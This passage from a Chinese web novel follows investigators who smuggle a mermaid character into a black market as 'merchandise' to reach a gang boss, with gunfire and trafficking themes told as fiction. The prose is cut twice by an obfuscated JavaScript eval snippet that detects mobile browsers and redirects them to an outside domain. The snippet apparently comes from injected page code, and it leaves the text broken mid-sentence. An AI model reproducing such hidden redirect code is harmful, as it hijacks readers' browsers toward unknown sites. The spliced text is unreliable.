顾知越正在检查酒厅下边的草坪，听见这句看了他一眼，否定道：“如果是存护帝国，那他们应该会发射两枚到莱辛这儿，再发射三枚到联盟的委员会，最后再发射一枚到我们住的酒店。” 主打一个全面打击，一个都别想跑。 徐牧：“……确实。” 好不容易找到的线索吧唧一声就被炸断了，徐牧颇为抑郁，又看了看资料，喃喃道：“别墅的安保是凌晨两点零五分强制休眠的，追踪弹是五点三十分发射的，那这中间发生了什么？” 话音刚落，徐牧余光忽然瞥见了在不远处草丛玩的洛尘，他好像正在抓蝴蝶，唐彦羽在一旁亦步亦趋地跟着，大概怕人摔了。 “你怎么把小尘也带过来了？” 顾知越望向不远处的人，眼色缓了缓，道：“我看他应该是不想一个人在酒店，就一起带过来了。” 徐牧稍稍顿了顿，某些作为调查人员的警觉让他下意识道：“小尘今早是什么时候不见的？” 听到这句，顾知越的动作一顿。 而就在徐牧越想越奇怪，还想再度追问的时候，顾知越忽然开口，淡声道：“小尘没有不见，是今早我带他出去散步了。” 这一明明白白的“伪证”让徐牧愣了半晌，他神色复杂地打量眼前的人，确定对方不是在开玩笑后压低声音道：“什么意思？出问题你负责？” 顾知越神色自若，给出了和之前一样的回答：“他的事，我负全责。” 这句话也终于让徐牧开始重新审视起了自己这发小，几番欲言又止之后，他终是没反驳什么，只是道：“真奇怪，你以前不这样啊？哦，不对，其实你现在也不这样。” 换言之，是只对洛尘如此。 顾知越没有答复。 “得，你担责，我不管。”徐牧双眼一闭，选择摆烂，他一贯懒得理麻烦事。 ——— “真的没关系吗？队长马上会不会审我，我该怎么回答？” 唐彦羽一边小心观察着徐牧那边的动静一边心不在焉地跟在洛尘身边。 洛尘捡起昨晚开枪时落在草地上的最后一枚子弹，不动声色地随手扔到别墅下边的水塘，瞥了一眼远处的人，低声道：“审你就说不知道呗。” 唐彦羽越想越不靠谱，担忧道：“这理由会不会太不走心了，这很容易被发现吧？” 洛尘看他这忧心忡忡的样子笑了笑，故意道：“发现就发现了呗。” 唐彦羽：“啊？” 洛尘笑道：“又不是我被发现。” 这种“你的死活与我何干”的态度真实且令人无奈，唐彦羽瞬间像焉了的黄瓜一样垂下头默默流泪。 这反应成功把洛尘逗乐了，收获完情绪价值他也不打算继续逗人了，随口道：“放心，出不了大事，那个莱辛的语音你发哪儿去了，怎么到现在你们队长和顾知越好像都还没收到？” “哦，我发到我们调查组的举报邮箱了，那个邮箱会有人定时清理，发现紧急情况肯定会报告我们队长的。” 洛尘一针见血：“大概什么时候清理一次，不会被当成垃圾短信吧？” 唐彦羽摸了摸脑袋：“应该不会……吧？” 洛尘：“……你现在当面把通讯仪的录像交过去。” “啊这……”唐彦羽试探性道：“这不好吧，没法解释啊？” 洛尘：“啧。” 唐彦羽心中警铃大作。 正当唐彦羽感觉洛尘已经在考虑把自己直接踹到顾知越面前的时候，远处忽然传来徐牧难以置信的声音：“什么？？” 音量很高，明显是太过震惊没压得下去，惹得不少人投去目光。 徐牧意识到后赶紧压低声音，又说了几句后挂断电话立刻找上顾知越。 看见这一幕的洛尘对着唐彦羽挑了挑眉：“看来你运气不错。” ——— “和我联系的是城南黑市的老大，盖亚……他们好像是要做什么研究，很神秘……” “啊啊啊！别！……研究室在首都星球！” 快速播放完录音，徐牧正色道：“录音经过技术科确认，确实是莱辛本人的声音，并且有经过剪辑。” 这个早上突如其来的录音属实意外，尽管疑点重重但徐牧他们还是第一时间组织队员前往寻找那个黑市的盖亚，这会儿正在车上给众人详细说明情况。 顾知越评价道：“剪辑很潦草。” “对，明显莱辛是在和什么人对话，并且那个人似乎还在威胁他，”徐牧眉头紧锁，沉声道：“会是谁？是他投的追踪弹吗？” 顾知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029877|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越沉默了几秒，否定道：“不太像，这个人明显是在查案子，那些追踪弹却是在毁尸灭迹、隐瞒真相，我觉得这两者的目的并不相同。” 莫名其妙还多出两方人，徐牧觉得头更疼了。 “你说这个人会不会是……存护帝国那边的？” 对于这个猜想，顾知越垂眸思索了片刻，刚打算开口，忽然瞥见一旁正趴在车窗边看风景的洛尘一个没站稳要摔倒，赶紧上前抱住人坐好。 “小心，”顾知越温声对着怀里的人道，随后抬头简单表示，“先去找到盖亚吧，事不宜迟。” 徐牧点点头，接着向队员发布指令：“已经通知当地警方帮忙控制现场了，不过这地方特殊，不到万不得已不适合强制执行，到了地方我们先尝试找人，会有当地人给我们带路的，尽量别打草惊蛇……” 徐牧在前头交代指令，然而唐彦羽却是没什么听，仿佛神游天际一样一直望向洛尘那边，看着对方靠在顾知越身边自顾自地玩，满眼亮晶晶地观察着窗外风景，就好像一只有点粘人但不多的小猫,在人身边跳来跳去，时不时再贴着人蹭一蹭打个滚。 丝毫不像伪装，就好像他天性如此。 “喂，”身边的队员姚颖一声招呼让唐彦羽回神，奇怪道：“你怎么了，一直盯着小尘。” “啊？”唐彦羽愣了愣，立刻道：“你们不也盯着吗？” “我们一个小时看三十分钟，你一个小时盯五十分钟，那能一样吗？” 说着姚颖随口玩笑道：“怎么，喜欢上小尘了？正常，不过建议你小心顾少将哦。” 这句话其实就是调侃来着，但唐彦羽莫名心中一紧，尽量挤出笑容回复道：“我才不敢啊。” 黑夜中血色的瞳孔似血又似酒，抽刀、劈斩、开枪，行云流水、从容自若，足够吸引一切的目光，敬佩、惧怕、臣服、倾慕…… 但他不敢。 唐彦羽慢慢收回目光，而这时的顾知越却忽然不动声色地抬眸，扫了一眼坐在角落的人。 “叮咚，来电提示。” 突然弹出的屏幕吸引了所有人的注意，顾知越看了一眼，脸色稍变，稍稍顿了一下，选择接听。 “曹委员。” 屏幕闪烁，很快出现一个气质儒雅的中年男子，听见这称呼后无奈地笑了笑，以长辈的口吻道：“我打的是你的私人电话吧，这么客套做什么？” 曹源，联盟委员会常任委员之一，同时也是顾知越的姨父，保守派的代表人物，公认对存护帝国友好的一方。 人物对上号，洛尘扫了一眼，果然是经典老好人的模样。 听见对方这么说，顾知越严谨道：“正在任务期间。” 曹源笑了笑道：“我知道，是联盟给小牧的那个任务吧。” “曹叔叔！”一旁的徐牧立刻挤过来，“这任务到底是哪个混蛋发给我的啊？！又麻烦又难搞还招恨！” 徐牧早就憋了一肚子气，现在曹源主动找过了，他才不管什么公事私事的，只恨不能现在就走后门找到那个使绊子的混蛋！ 曹源十分理解孩子的不满，安抚道：“暂时不确定，毕竟这事一直没拿到明面上处理，我也是前两天刚知道的，不过你们放心。” 曹源看向顾知越，正色了一点，沉声道：“这任务我已经申请参与了，你们放手干，上边有任何问题查下来我会全权负责。” 一个老牌常任委员的全权任命，足可以抵得上联盟的最高执行文书。 有这么一颗定心丸，顾知越微微呼出一口气，轻声道：“多谢。” “没事，大胆去做吧。” 曹源鼓励道，不过余光忽然瞥见正靠在顾知越肩上悄悄往这边张望的洛尘，他看起来很好奇，一双湛蓝色的眼睛像猫儿一样灵动，发现对方的视线后便往顾知越身后躲了一点，一边露出眼睛朝这边张望一边轻轻拽了拽顾知越的衣角。 这样一个人实在很难让人忽略，连曹源都忍不住打量了一下，试探性问道：“他就是……你捡的人鱼？” 顾知越侧身摸了摸洛尘的头安抚了一下，动作神情都是难见的温柔，看见这一幕的曹源不由得愣了愣，神色有点微妙。 “姨父……” 到底是家中长辈，多少要解释一下，但有关洛尘的事顾知越实在不愿意透露太多，刚准备搪塞过去，谁知曹源下一句就是：“你喜欢他？” 13. 行动准备 车内瞬间安静下来，众人都不约而同地投去目光，洛尘也好奇心上线，悄悄抬起头。 顾知越的神情乍一看倒是没什么变化，只是迟迟没开口，像是在深思熟虑着什么，最后斟酌语气道：“姨父……” “好了，我知道了，”曹源摆了摆手，善解人意道：“你暂时不想说我就不问了。” 到嘴的八卦飞了，众人默默耷拉下脑袋。 顾知越僵硬地维持着表情，刚想顺势跳过这话题，但曹源话锋一转，又加上一句：“有空记得带回来也和父母见个面。” 顾知越：“……” 大概逗孩子上头了，曹源还准备再来两句，谁知顾知越沉默片刻后反客为主，深吸一口气主动道：“我会的。” “我会的”＝去见父母＝承认身份，四舍五入这就是当众告白！ 车上听见这话的队员疯狂脑补出顶级理解，心中涌起惊涛核浪，全部战术性后仰，随后快速低下头降低存在感。 曹源明显愣了一下，似乎是有些诧异，不由自主皱了皱眉，目光在两人身上来回了一下，但很快又恢复，笑了笑点头道：“好，你不小了，自己的事自己拿主意，我先挂了，万事小心。” 顾知越应下，待悬浮屏幕关闭，还没呼出一口气，下一秒就齐刷刷接收到了车上所有成员的集体注目礼。 顾知越顿了两秒，面对众人炯炯的目光选择掩耳盗铃，移开视线，恍若无事地继续和洛尘玩。 徐牧瞥了他一眼，语气悠悠道：“你不是他监护人吗？” 顾知越沉默。 徐牧鄙视：“监守自盗！” 洛尘这会儿似乎心情不错，靠在人怀里玩着手上的纸蝴蝶，顾知越心安理得地环着人，淡定回复道：“此一时彼一时。” ——— 二十分钟后，南旧城区。 此行的目标盖亚在这儿确实算是个不太好惹的家伙，他手底下的黑市当地警方也无法直接介入，而在这种情况下，徐牧他们为了不打草惊蛇，暗中潜入探访是最佳选择。 “所以说，为什么会有个黑市正大光明在这个地方？”生活在法治社会的唐彦羽发出疑问。 正在向众人介绍里边地点分布的钱永愣了愣，支支吾吾了半天，含糊道：“这个地方其实也不是那种黑市……就是个当地人的集市，只是这么称呼而已……” 钱永是当地警方给他们找的接应，据说是警方在盖亚帮派里的线人，是个高瘦的中年人，面相圆滑而不起眼。 对方话里有话明显不想多谈，可惜唐彦羽压根不会察言观色，更疑惑道：“当地集市会卖枪支弹药？民风这么淳朴吗？” 钱永没答话，脸色不太好看。 “好了，”顾知越开口打断，看了一眼目光回避的钱永，道：“这边的事我们之后会上报，当然你放心，不会影响到你的，你现在带路就行。” 违法交易的黑市为什么能正大光明的存在？那无非两种情况，“不想管”和“管不了”。 而当地警方目前就处于第二种情况。 边境星球贫瘠而混乱，治理这种地方属于吃力不讨好，联盟懒得把太多人力物力放在这里，当地警方还能勉强控制就谢天谢地了，一些潜规则自然也就睁一只眼闭一只眼。 钱永连连点头，而后继续道：“这个额……集市是南区老大盖亚手底下的产业，上下一共有三层，每层都有人员把手，第一层最像正常集市，越往下东西越稀奇，也更难进去。” “盖亚一般情况都会在最底层，可以说最底层算是他的私人场地了。” 徐牧追问：“那要怎么下去？熟人介绍吗，还是要砸钱？” 钱永纠结了一下，小心问道：“各位一定要亲自下去吗？” 徐牧毫不犹豫道：“需要。” 钱永为难道：“一层还好，不难进，但底下两层基本是只做熟客生意。” 徐牧：“砸钱也不行？” 钱永抿了抿唇，低声道：“底下那些，多少都是不要命的主，命都不要更别提钱了。” 玩命找刺激的家伙，比莱辛那种懂法的无赖还要棘手。 正在徐牧持续性头疼的时候，顾知越忽然开口：“只接‘熟客’，那不是‘客人’而是‘商人’呢？” 这个思路让钱永愣了一下，思索片刻后解释道：“卖家的话，那就要看货，货好才能下去。” “下边一般卖什么，什么样的才能算好货？” 钱永思索了一下：“什么都有，什么都卖，只要稀奇且少见珍贵的，并且一定是在地上一层不方便卖的东西。” 说白了，就都是违法乱纪的生意。 徐牧试探性问道：“武器？” 钱永小心翼翼提示道：“一般武器其实就在地上一层贩卖。” “……这‘街市’果然民风淳朴，那还能卖啥，”徐牧扶额头疼，瞥到一边还在状态外的唐彦羽，随手指了道：“不然卖他怎么样？” 唐彦羽：“？？！” 本来只是玩笑，但钱永似乎没把这当成玩笑，认真打量了一下唐彦羽，评估道：“人口贩卖确实一般不在一层，但这位的话最多到二层。” 唐彦羽：“……” 徐牧没想到这方向还真可行，有点好奇地指了指自己道：“那卖我？” 又是一通打量，钱永委婉得出结论：“不太好卖……” 唐彦羽：“哎嘿，我比队长值钱？” 徐牧：“…………” 默念几句不生气不生气之后，徐牧扯着嘴角僵硬地笑道：“那你看看卖谁比较好？” 钱永有点被对方的假笑吓到了，但迫于压力还是依言环顾了一下周围队员，最后将目光落到了不远处—— 洛尘大概是觉得他们聊天无趣，自己跑到路边拨弄着一颗小榕树，当地人图吉利在树枝上挂了几个红绳小铃铛，微风吹过，铃声轻响。 洛尘好奇地伸出手，指尖碰了碰那些铃铛，满眼笑意，天上洒下的阳光也占不得其容颜光彩，自成点缀，足够惊艳，足够瞩目，稀有而珍贵。 钱永眼神稍变，没有太多犹豫，直接抬起手：“他——” 话才刚起，他的目光忽然被人强行阻断，声音也戛然而止。 顾知越闪身站到钱永面前，冷冷笃定道：“不行。” 钱永本来还想解释，这个样子的真的很合适，稀有且招人喜欢，一时半会儿还不会有危险，不用担心，但看了看顾知越的神色，他选择把话咽了回去。 “那这……” “用这个行不行？”顾知越反手拿出自己的配枪，从枪上的一个隐蔽装置里翻出什么递了过去。 徐牧看清那东西后一愣，瞬间大惊失色道：“军队铭牌？你是想今年再上一次军事法庭吗？？” 联盟对于特殊的高等军官配有专属的铭牌，作为身份象征的同时也是一份几乎万能的“钥匙”。 上到军区基地出入通行，下到各种资料库调取信息，只要有了铭牌，无需审核任何资质便可畅通无阻。 这是军队权力下放分散的一个象征，极大程度地给予高等军官独自行使职权的便利，不过一旦出现问题将会立刻追究到个人，且由铭牌持有者承担最严厉的军罚，不论前因后果，审判之时罪加三等以上。 所以一般情况，获得此物的军官只会把它当成个摆件，重大场合拿出来展示一下，平时就安安稳稳地放在军队安全库里，不敢随身携带更不敢随意示人。 然而此时，顾知越就这么明晃晃地把这东西拿了出来，神色自若到让人第一反应以为那只是个假货。 钱永看见这东西亦是目瞪口呆，满眼惊恐，张口半天没回话。 顾知越见对方不语，又随手调出悬浮屏幕，接着道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029878|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者你可以找找看，军区二级以下武器设备我都有调用权，你可以挑一挑，哪一个能算得上‘稀有珍贵’。” 徐牧瞪大眼睛：“你这是想让我一块儿上军事法庭啊？？” 顾知越反问：“这不是你的任务吗，你不着急？再拖下去这地下城和莱辛那儿一样被炸成灰了怎么办？” 徐牧一顿，立刻道：“那我宁愿把全组人都卖了，试试走量不走质呗，快收把那东西起来！” “不行，”顾知越冷静分析道：“被作为‘商品’的人肯定会被束缚监视，很难有自保能力，更别说开展调查了，我们是去查案的，手上‘商品’不能多。” “我，你……你……”这副一心一意为任务的样子让徐牧被堵得一时无言。 旁边的钱永一眼扫见屏幕上军区的红头文件标识，更是被吓得一激灵，恨不得当场跑了的样子，结结巴巴道：“那个，够是够了，但、但……” 但是这也太可疑了，这位不是联盟安全局的调查专员吗？？怎么会有这些东西？！ 顾知越皱了皱眉：“但是什么？” “算了算了顾少将，”其他组员也赶紧来劝，“要不还是想别的办法吧，太吓人了这。” “对，再想想办法，大不了还是卖我们吧……” “对对，卖我卖他，卖谁都行，你看把我们队长吓得！” 顾知越冷静道：“这些都是设有双重防护的，不用担心泄露，而且我能确保暂时‘送’出去不会有意外。” 徐牧：“你脑子这会儿到底是清醒还是不清醒？但凡离手就能定罪，没有意外也不妨碍上军事法庭！你别发疯啊。” 组员一片劝阻，徐牧恨不得冲上来抢东西，然而顾知越却仿佛一意孤行，就在众人感觉他又要说出什么吓死人的话时，那只递出铭牌的手忽然被人握住，慢慢引导着收回。 顾知越一愣，转头发现洛尘不知何时走到了身边，很认真地握住对方的手。 洛尘抬眼看着还有些疑惑的顾知越，笑了笑，学着其他组员的动作指了指自己。 卖我吧。 这个举动让四周瞬间安静下来，众人的目光迟疑而踌躇，徐牧试探性道：“小尘？” 洛尘抬手点点一旁的钱永，然后很确定地又指了指自己。 众人一齐愣住。 其实仔细考虑下来，这个情况下让洛尘作为“商品”是最合适的，近在眼前且不用担心太多后续问题，再者他本人没必要参与调查，到时候进去后暂时被限制行动也没问题，只是…… 顾知越很快反应过来，没有应答而是上前一步抓住洛尘的手，毫不犹豫再次否定：“不行。” 钱永从刚刚起就一直感觉洛尘是最优选，见对方都主动表示了，于是也小声道：“这位进到里边暂时不会有事的，这样子的里边稀罕得紧，多得是人抢，正常流程没个一两天都定不来下家，不会……” 看着顾知越的神色，钱永的声音越来越低，最后还是选择噤声。 徐牧见此叹了口气，劝道：“我知道你担心，但就像你刚刚说的，你能保证那些东西暂时送出去不会有意外，那难道就不能保证小尘的安全吗？” 徐牧的话很有道理，可顾知越眉头紧锁，依旧不愿松口。 唐彦羽看了看洛尘也忍不住开口道：“小、小尘……他肯定会没事的，真的。” 依旧无言。 就在气氛僵持的时候，“叮铃”一声轻响忽然出现，察觉手上的触感，顾知越立即垂眸，只见一只红绳铃铛赫然出现在手腕。 洛尘正在认真地给红绳打结，成功系上后抬头笑盈盈地望着人。 两人对视，清脆的铃声如石子落水，泛起涟漪，打破这片僵局—— 这是他的选择。 顾知越沉默了半晌，最终呼出一口气，眼中神色温和下来，轻声点头道：“好。” 14. 潜入 黑市，地下入口处。 连接上下层的入口有帮派的人专门把手，同时审核出入的人员和货物，但不同于想象中严密有序的流程，这里的一切都十分混乱。 乱七八糟的守卫，乱七八糟的队伍，乱七八糟的人。 正在排队等待审核的唐彦羽悄悄环顾了一下四周，小声和同伴道：“我感觉这安保也不怎么样啊，一共没几个人，咱们到时候直接突围也不是不行？” 前边的钱永听见这话连忙制止道：“这地方最好还是别惹事，不只是明面上，暗处还有人呢？” 唐彦羽：“啊？在哪儿？” “西北方向的屋檐上有人盯梢，南边摊子上的两个摊主是他们的人，东南边的帐篷里至少有六个人，你头顶上还有全自动追踪狙击设备。” 一直沉默的顾知越开口，语气沉着冷静，不急不缓。 唐彦羽一愣，下意识快速扫过那几个地方，尤其是注意到头顶的狙击设备后浑身一颤。 顾知越淡声命令道：“别这么明显，站好。” 唐彦羽瞬间立正站好，深吸两口气，随后又不由自主悄悄偏头看向顾知越—— 按照黑市规定，在门口的来客都戴上了面具，这面具的材料劣质图案奇怪，有一种恶俗和幼稚混合的可笑感。 偏偏顾知越身上的气质生生压住了这副面具，平添几分冷冽，而他手上正横抱着一个人，宽大的斗篷几乎完全遮盖住了那人的身形和面容，仅仅能窥见一点修长的轮廓。 唐彦羽忍不住注视怀中的那个身影，直到徐牧推了推他示意上前才如梦初醒。 “下一个，商人还是客人？” 眼看终于排到这里，钱永上前赔笑道：“各位辛苦了，我们是‘商人’。” 门口负责审核的人扫了一眼队伍：“货呢？” 钱永指了指顾知越那边：“就是那个。” 负责人眼神轻蔑，不耐烦道：“就一个？你们当这儿菜市场凑热闹啊，就一个货随行四五个人。” “不不不，”钱永赶忙靠近一步，低声道：“货少，但宝贝啊。” 负责人瞥他一眼，没多言起身道：“验货。” “好，您验您验。” 钱永立刻让出路顺便悄悄给后边的人使眼色，徐牧他们同样让开，唯有顾知越没有动作，微微低垂着头，静默得如同一尊雕塑。 负责人走到顾知越面前停下，有点奇怪地看了一眼这人，但也没多心，随后就将注意力放到了对方怀里的身影上。 怀里的人像是睡着了，柔软的斗篷层叠下坠，给人一种纤弱柔和又神秘的感觉。 没有太多犹豫，负责人很不客气地随手翻开兜帽—— 稍稍一抖，一段长发散落而出，如同月光倾泻，瞬间让人眼前一亮，而看清对方容貌的那刻负责人不由愣住。 刚刚突如其来的举动似乎有所惊扰，洛尘有些不适地微微蹙眉，眼中朦胧地看了看来者，也不知有没有看清，很快就偏头转了过去，下意识贴近顾知越胸口继续欲睡不睡的模样。 看这样子像是被喂了什么药物，如同懵懂柔弱的小动物，半梦半醒间对外界的一切都毫无反抗之力，湛蓝色的眼眸中仿佛弥散了一场秋雾，朦朦胧胧，清澄唯美。 白发蓝眸，眼角珠光，容貌绝美，甚至还是一个异种。 如果说一般“货物”交易的时候还会稍稍担心一下身份和后续问题的话，那在联盟异种可以说是完美的“交易品”，只要交易成功，就完全是自己的东西了。 负责人深吸一口气，几乎是本能地倾身，伸手靠近，然而在他的手就要碰到对方脸颊的时候，一直沉静的顾知越忽然后退一步，恰好躲过那只手。 手上扑了个空，负责人怒上心头刚要发作，徐牧立刻道：“验货结束了吗？” 这一声让负责人清醒了点，意识到自己是在工作，但心中难忍，故意道：“没有，需要仔细再验。” 然而顾知越直接道：“货不通过就不浪费时间了，我们走。” 说罢就要转身，负责人心中一惊，赶紧道：“等等，我没说不通过！” 顾知越停下动作但也没有靠近，很明显他并不同意让对方“再验”。 “兄弟，”徐牧再次提醒道：“我们是商人，来赚钱的，如果你有兴趣请到里边去交易，这不是这儿的规矩吗？还是说你不想遵守？” 坏了规矩这种事在帮派可是大忌，负责人心虚地瞥了一眼周围的守卫，尽管心中可惜但还是不情不愿道：“你们要到哪层交易？” 徐牧：“三层。” “三层？”负责人稍稍一顿，随后询问道：“他是什么异种？” 徐牧下意识道：“人鱼——” “——普通基因变种人，”顾知越忽然扬声，强行打断并掩盖住了徐牧的声音，“怎么，这有什么要求吗？” 负责人的目光一直黏在洛尘身上，眼神露骨，喃喃道：“没有具体要求……他真的只是基因变种？” “对，”顾知越给怀里人盖好斗篷阻隔视线，“没问题我们可以走了吗？” 负责人似乎还想再看看，但后边已经有人开始催他了，最终犹豫了一下，还是放人离开。 徐牧和顾知越对视了一眼，随即快步进入。 “你给小尘吃什么药了吗？他没事吧？”远离入口守卫，徐牧看了看洛尘的迷迷糊糊的样子，忍不住小声询问道。 顾知越回复：“没有吃药。” “那他怎么……昏昏沉沉的？”看着迷蒙乖巧，着实可怜可爱。 顾知越抿了抿唇：“……他应该是困了。” 没有别的，单纯的困。 ——— 感受着周围由安静变得杂乱再变得安静，洛尘一直闭着眼睛，浅浅打了个哈欠，懒得多管。 他确实困，在外边排队排大半天，躺在顾知越怀里除了睡觉没有任何选择，顺带一提睡得还挺好，斗篷一盖那些烦人的视线瞬间减少，而且顾知越抱人真的很稳。 如此睡了半路，在进入三层的接待台时，依照要求“货物”必须放到台面上审核上架，洛尘才被放下。 斗篷掀开后明亮的灯光让洛尘眯了眯眼睛，由于刚刚打了哈欠，再加上光线刺激，眼中多了一点水色，更是衬得眸光点点，我见犹怜。 洛尘眨了眨眼睛，慢慢抬头扫了一眼周围然后收回视线垂下头，明明是有些无精打采的动作神态，但有了“商品”这层身份滤镜，落在旁人眼里就像不安的小动物打探陌生环境，透着小心翼翼的可爱。 这次的审核人员名叫薛瑞，依照钱永所说在组织地位不低，主要管理黑市第三层的运营。 见到人的时候薛瑞也愣了一下，他倒是没直接动手，而是很有“职业素养”地用电子量尺抬起洛尘的的下巴，认真打量起来。 顾知越身形微动，徐牧眼疾手快按住对方，暗中拍了拍警告：那边就看一看，看一看而已，别动手！最后一步了，动手就前功尽弃了。 顾知越紧盯着洛尘，没回应，只是身体绷得很紧。 薛瑞忍不住仔细打量了一番，心中感叹完后才问道：“你们是想金钱交易还是——” “我们想见盖亚。”顾知越直接进入主题。 这个回答不算意外，毕竟来这儿交易的除了钱财，也可能是为了一份“人情”，外来者献宝求庇护或者帮助的不少见也不稀奇。 然而薛瑞却不由自主皱了皱眉，又看了一眼洛尘道：“我们老大对这方面需求并不强。” 说白了，表示这种商品并不算投其所好。 面对这句话，顾知越神色不改，忽然道：“可我们打听到的消息是他最近对异种很感兴趣。” 此话一出，薛瑞神色骤变，压低声音道：“谁和你们说的？” 实际当然没人说过这种事，顾知越不过只是在诈他而已。 见对方没有回答但一副胸有成竹的模样，薛瑞呼出一口气，沉声道：“我不知道是哪个不怕死的给你们透露的消息，但很明显那个家伙也只是一知半解。” 他指了指洛尘，“这个样子的送给我们老大，可惜了。” 可惜的潜台词那就是八成活不成了。 眼看真套出一点话，徐牧接着故作好奇道：“怎么，你们老大……是有什么特殊癖好吗？” 但这回薛瑞不想再透露了，皱眉道：“这里的事少打听！” 本着不惹事的原则他本来想直接通过不管了，但刚一转身，面前一直安静的洛尘忽然扯住了对方的衣角，力道不轻不重，像小猫轻轻扒拉了一下人。 薛瑞下意识转头看去，刚好和那双湛蓝色的眼睛对视上，那双眼睛里没有常见的害怕或者惊恐的神色，像只是单纯的好奇，他似乎真的什么都不明白，不明白这里是什么地方，也不明白自己为什么会在这里，更不明白接下来会面对什么。 对视片刻，洛尘微微偏头，眨了眨眼睛。 如此，直击内心！ 薛瑞倒吸一口气，心中已然掀起一阵惊涛骇浪—— 太可怜了！他这么可爱！那些送他过来的人真不是东西！ 思及此处薛瑞瞬间抬头将矛头对准了徐牧一行人：尤其是刚刚抱着这个异种的男人，这会儿还一副要揍自己的模样，实在可恶。 徐牧再次暗中稳住顾知越，明显看出薛瑞有所松动，于是赶忙趁热打铁道：“所以你不推荐我们送这份礼，到底为什么？” 即使这会儿看这几人已经很不顺眼，但考虑到黑市的规矩，现在只有打消他们的“送礼”心思才能救人，薛瑞呼出一口气，环顾了一下四周，小声提醒道：“我们老大实际并不喜欢异种， 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薛瑞皱了皱眉，下意识想反驳，但不知想到了什么，缄默再三后道：“反正我不清楚。” 没有直接否定，而是改口说不清楚，估计是帮派里出了乱子，两拨人内斗，互不知道对方内部情况。 徐牧意有所指道：“看来你们这里最近不太平。” 提到这个薛瑞忍不住喃喃道：“老大他最近变得有点奇怪，以前没有这样的……行了，别问东问西了。” 快速收拾好情绪，薛瑞又看了看洛尘，沉声道：“反正你们要是还有点良心就把他带走吧，他这样的哪怕你们随便找个心好的人卖了都能活。” 说着他又犹豫了一下，试探性道：“或者……你们开个价看看，我也可以……” 话没说完，顾知越一个箭步上前，直接把人从洛尘身边撞开，重新给洛尘披上斗篷，道：“不了，我们走。” 薛瑞差点没被撞得摔地上，站稳刚想骂两句，身后忽然传来脚步声，随后是一个阴沉至极的男音：“现在一个商品审核需要这么久吗？” 听见这个声音，薛瑞浑身一僵。 顾知越循声看去，只见一行人慢慢走来，为首那人脸色青白，有一种奇怪的病态感，脚步虚浮眼中阴冷，像个墓地里的幽灵。 薛瑞手指发抖，深吸几口气，最后才鼓起勇气慢慢回头，颤声道：“大、大哥。” 这人就是盖亚。 顾知越警惕着对方，快速将斗篷理好，尽量完全掩盖住洛尘的身影。 盖亚扫了一眼众人，最后将目光落到薛瑞身上，悠悠道：“以前怎么没发现你这么自来熟，什么事能聊这么久？” 薛瑞吞了吞口水，结结巴巴道：“没、没有……” 盖亚又看向顾知越，瞥了一眼他身边的那道人影，道：“交易吗？开价。” 顾知越紧盯着盖亚，默默将洛尘抱起，冷冷道：“抱歉，暂时不打算交易了。” 卖家中止交易，按照黑市的规矩也不能强买强卖，盖亚和顾知越对视片刻，发觉对方态度强硬后便转开了视线。 “那就算了吧，真可惜啊，感觉今天我觉都要睡不好了，你们说是谁的责任呢？” 说着盖亚向后边的随从眼神示意了一下。 “砰！” 一声枪响伴随着压抑的哀嚎声出现，在场的众人全部一惊，只见薛瑞的左腿被击中倒地，瞬间血流如注！ 盖亚面无表情地看着在地上痛苦挣扎的薛瑞，背对着徐牧他们道：“好了，你们可以走了，我有些私事要处理。” 后边的唐彦羽看见这一幕下意识想上前，但钱永赶紧拦住他，拼命使眼色。 洛尘透过兜帽看见地上那一片血色，湛蓝色的眼中不见波澜，之后又将目光转到背对着盖亚身上—— 正在这时盖亚猝不及防转身，忽然询问道：“对了，他是什么异种？” 顾知越抱着人不动声色后退两步，冷静道：“普通的基因变种人。” 盖亚也不知道信没信，倒是没追问，只是眯了眯眼睛，一直紧盯着两人，如同注视猎物的毒蛇。 顾知越尽量忽略对方的目光，转身欲走，可就在这时，盖亚那边一个人影忽然跳出来，迫不及待地大声喊道：“不对！我知道我知道，我听见了，那是人鱼！那家伙是人鱼！” 所有人皆是一惊，徐牧暗骂一句循声看去，喊话的竟然就是刚刚在门口检查的负责人。 “人鱼……是人鱼啊，终于是人鱼啊……” 盖亚喃喃重复，下一秒这个一直毫无表情如同幽灵死尸的苍白面孔突然露出笑容，不是微笑，而是猛然裂开嘴，十分夸张且无声地笑了起来，僵硬、呆滞、瘆人！ “抓住他。” 15. 混乱 盖亚的声音未落，身边那几个手下已经闪身冲了过来，毫不犹豫对着众人直接开枪射击！ “该死！快跑！” 徐牧当机立断下令，抓起吓破胆的钱永一边向外边的人发送信号一边赶紧后撤。 顾知越把洛尘护紧，快速避开子弹。 本来双方还有一段距离，以顾知越的速度是完全可以顺利撤退的，但眨眼间，那几个手下的身体忽然扭曲，以一种有些诡异的姿势猛然加快速度，瞬间缩短距离闪现到顾知越面前。 他们的目标十分明确，一个如猛兽暴起扑向顾知越，另一个则一把扯住洛尘的手臂，不管不顾地要把人拽过来，力气大到叫人以为他们想直接撕碎对方！ 感受到手臂上巨大的蛮力，抬眼便是面容狰狞恐怖的怪人，然而洛尘丝毫不慌张，他现在有五种办法挣脱对方甚至反杀，不过目光瞥见远处的盖亚，思绪快速转动了一秒，果断放弃反抗，选择顺着力道任由着被人“抢”过去—— 有“顺风车”，不搭白不搭。 